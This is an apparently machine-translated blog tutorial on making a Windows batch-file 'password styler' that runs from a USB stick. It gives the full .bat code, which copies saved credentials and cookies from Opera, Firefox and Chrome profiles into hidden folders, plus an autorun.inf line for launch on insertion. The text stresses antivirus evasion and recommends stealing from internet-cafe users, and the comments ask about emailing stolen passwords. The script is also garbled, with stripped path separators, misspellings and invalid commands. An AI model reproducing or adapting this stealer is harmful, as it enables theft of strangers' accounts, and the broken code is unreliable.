Password scrapper for browsers on Windows

How to steal passwords from a Windows browser


Today we are going to talk about how to create a password styler for browsers that run on the Windows operating system. It will work quickly and accurately, and most importantly, it will not get scolded by anti-viruses. We will write the password scrubber in notepad, at the end we will save it as .bat.

A password styler is a certain class of viruses whose functionality is to steal saved passwords from a computer and send them to the “author”.

The method we will use has both pluses and minuses.


  • Not detected by antivirus.
  • Speed of operation.
  • Easy modification.
  • Instant startup.
  • Portability.


  • Autorun does not work on Windows 8+.
  • Constant creation-delete autorun.inf.
  • Personal presence.
  • Windows only.

Conclusions on the pros and cons

Let’s see why our browser password styler has such advantages and disadvantages.

I think the first couple of points don’t need to be disassembled, but it’s easy to improve it, let’s see why.

Below will be the code of the program, you can see that the password styler steals passwords from 3 browsers, Opera, Mozilla, Chrome. If you want to make it more extensive and add all browsers, you just need to find their directories and write the paths.

Next, instant launch. Create an autorun.inf file and add our anyname.bat there. As soon as you insert the flash drive into the PC, there will be a theft and you can pull it out right away. It will take a second, but there is a drawback. Autorun.inf won’t work on Windows 8+, so you’ll have to run the butcher manually.

To be more precise, automatic launching became impossible after the latest Windows 7 security update. Constantly create-delete autorun.inf – If you put a flash drive in your computer and then go home and you have Windows 8.1 or lower, the passwords will update because of autorun.

To avoid this, you have to keep deleting it, but our script has already done that. It will be deleted automatically after startup.

Creating a password stealer for browsers

In order to create a portable password styler for browsers, we only need notepad.

Create a text document and write the following code there:

@echo off 
md %~d0Mozilla 
md %~d0Opera 
md %~d0Google 
CD/D %APPDATA%OperaOpera 
copy /y wand.dat %~d0Opera 
copy /y coockies.dat %~d0Opera 
cd %AppData%MozillaFirefoxProfiles*.def-ault 
copy /y coockies.sqlite %~d0Mozilla 
copy /y key3.db %~d0Mozilla 
copy /y signons.sqlite %~d0Mozilla 
copy /y AppData%MozillaFirefoxProfiles*.def-ault %~d0Mozilla 
cd %localappdata%GoogleChromeUser DataDefault 
copy /y “%localappdata%GoogleChromeUser DataDefaultLogin Data” “%~d0/Google” 
attrib +h %~d0Mozilla 
attrib +h %~d0Opera 
attrib +h %~d0Google 
del: Autorun.inf

You can simply copy it by saving the file as anyname.bat. You can see in the code that passwords from Mozilla, Opera, Chrome are saved.

If you want to add other browsers, you need to find their directories and add them in the same way. The attributes we have assigned make the created folders hidden, so no one will suspect anything. Now you need to create the autorun.inf file using the following command:

[AUTORUN] open="anyname.bat"

Done, now you can go anywhere and steal passwords, like Internet cafes or the like.

Our browser password styler is not remote, so you will have to walk around. You can recover saved passwords by replacing stolen cookies, databases and login data.

You can use Password Web Views for convenience.

  1. Is it possible to send passwords directly to email? Or a file that generates a Windows password styler?

    1. Yes, you can send browser passwords to email immediately, but your computer must be connected to the Internet to do so. Answered your email in more detail.

  2. Thanks for the password styler code for the Windows browser. Can you tell me if there are any ready-made password stylers?

    1. Of course there is. There will be articles about such software on our site, so sign up for the newsletter 🙂

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